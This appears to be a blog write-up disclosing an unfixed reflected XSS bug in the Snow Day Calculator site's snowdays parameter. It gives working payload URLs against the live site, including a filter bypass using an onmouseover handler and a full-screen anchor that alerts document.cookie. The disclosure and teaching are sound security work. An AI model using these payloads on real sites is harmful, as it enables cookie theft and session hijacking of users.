Snow Day Calculator XSS

tl;dr: PHP’s type coercion and unescaped use of the page’s snowdays parameter allows injecting arbitrary HTML and Javascript via a reflected XSS attack.

Note: This vulnerability is currently unfixed. I have attempted to contact the owner through the site’s contact form and through @snowdaycalc on Twitter, and have yet to receive any form of response.

Snow Day Calculator is a popular web app for predicting the chance of a snow day, based on zip code, type of school, and the number of snow days this year. In the winter months, I use it a lot, and it’s quite accurate. Snow Day Calculator was made in 2007 by then-sixth grader David Sukhin so we can probably give him some leeway here :)

The Bug

First, see if you can spot some likely candidates for a reflected XSS attack:

screenshot of Snow Day Calculator's main page

http://www.snowdaycalculator.com/prediction.php?zipcode=19808&snowdays=5&extra=0

There are a lot! It looks like the page displays parts directly derived from the URL like the zipcode and the number of snow days. These are a great place to start looking.

(Trying to) inject the zipcode parameter

I’ll first try injecting some HTML into the zip code parameter.

'The ZipCode (H1TEST) you entered is not valid.'

http://www.snowdaycalculator.com/prediction.php?zipcode=%3Ch1%3Etest%3C/h1%3E&snowdays=5&extra=0

No luck! The zip code probably passes through some postprocessing and normalization to look up zipcodes from its database and the National Weather Service. This extra processing will foil a simple reflected XSS attack. I’m not convinced that the zipcode parameter is safe, but it’s too much effort to try to break it while I still have other options!

Injecting the snowdays parameter

Directly replacing the number supplied in the snowdays parameter doesn’t work. However, we can add arbitrary code to to the end of the number, like this:

successful injection of <h1>test</h1>

http://www.snowdaycalculator.com/prediction.php?zipcode=19808&snowdays=5%3Ch1%3Etest%3C/h1%3E&extra=0

We injected a big bold test in the middle of our page! This is very promising.

Let’s try injecting a script tag!

Oops! Looks like they have some filtering in place to prevent XSS. Note that while filtering suspicious activity is a good component in practicing defense in depth, it should not be your only security measure!

We can bypass it by attaching an event handler to, say, an a tag:

alert box that says 'surprise!'

http://www.snowdaycalculator.com/prediction.php?zipcode=19808&snowdays=5%3Ca%20onmouseover=alert(%22surprise!%22)%3E%20hover%20over%20this,%20buddy%3C/a%3E&extra=0

Pro tip: the filter seems to block all single quotes, so use double quotes!

Why does this work?

Presumably, the Snow Day Calculator runs the number of snow days through some mathematical formula, so why doesn’t the program crash when we put a string in the snowdays parameter?

PHP is a very special language with some very special behavior that allows this. Its implicit type conversion means that the following program works and follows behavior consistent with what makes our attack possible:

<?php
    echo '5test' * 3
?>

This neither errors nor produces 5test5test5test like you’d expect a sane language to do. It returns 15.

Yeah.

Making our attack more effective

There are definitely other ways to bypass this filter. No filters are unbreakable. However, I am a lazy programmer, and I will work with what I’ve got so far. Currently, you have to hover over some tiny words to trigger our payload. Let’s make our little a tag cover the whole screen, so mousing over anywhere will trigger the event!

For you frontend nerds, this is the CSS I applied to my element.

a {
  z-index: 10000;
  width: 100vw;
  height: 100vh;
  position: fixed;
  top: 0;
  left: 0
}

I also had my event alert() the user’s cookie, to show that this attack can easily be weaponized. Here’s what I ended up with:

alert box containing the user's cookie

http://www.snowdaycalculator.com/prediction.php?zipcode=19807&snowdays=12%3Ca%20style=%22z-index:10000;width:100vw;height:100vh;position:fixed;top:0;left:0%22%20onmouseover=alert(document.cookie)%3E%3C/a%3E